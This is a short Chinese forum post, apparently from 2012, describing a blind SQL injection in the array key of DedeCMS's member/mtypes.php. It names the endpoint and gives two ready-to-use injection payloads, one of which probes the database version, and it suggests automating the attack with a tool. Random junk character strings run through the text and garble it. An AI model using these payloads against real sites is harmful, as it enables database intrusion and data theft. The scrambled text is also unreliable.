需要magic_quotes_gpc = Off,所以说是鸡肋啊.
+ _& W/ ?8 N! H) `9 y9 t, [, v/ U7 ~5 _
% | u0 m. i" j
发生在数组key里的注射漏洞,有点意思.
# k A4 @# R m. u' h
- H, L i- r, e# G! ^这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
8 e. c% l4 \2 _9 B & K5 |8 _1 o# E" C; s
http://www.xxx.com /dede/member/mtypes.php?dopost=save- ~6 h$ p. d: Y8 j
4 B1 b/ E" E2 U$ s9 u5 w4 Dexploit:2 I7 d( ]8 X4 C3 R' O4 p
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
% X) w! I2 K4 l9 y1 l% _mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
2 }7 g* `# M# a! G! _ |
发表于 2012-12-20 08:08:09
收藏
支持
反对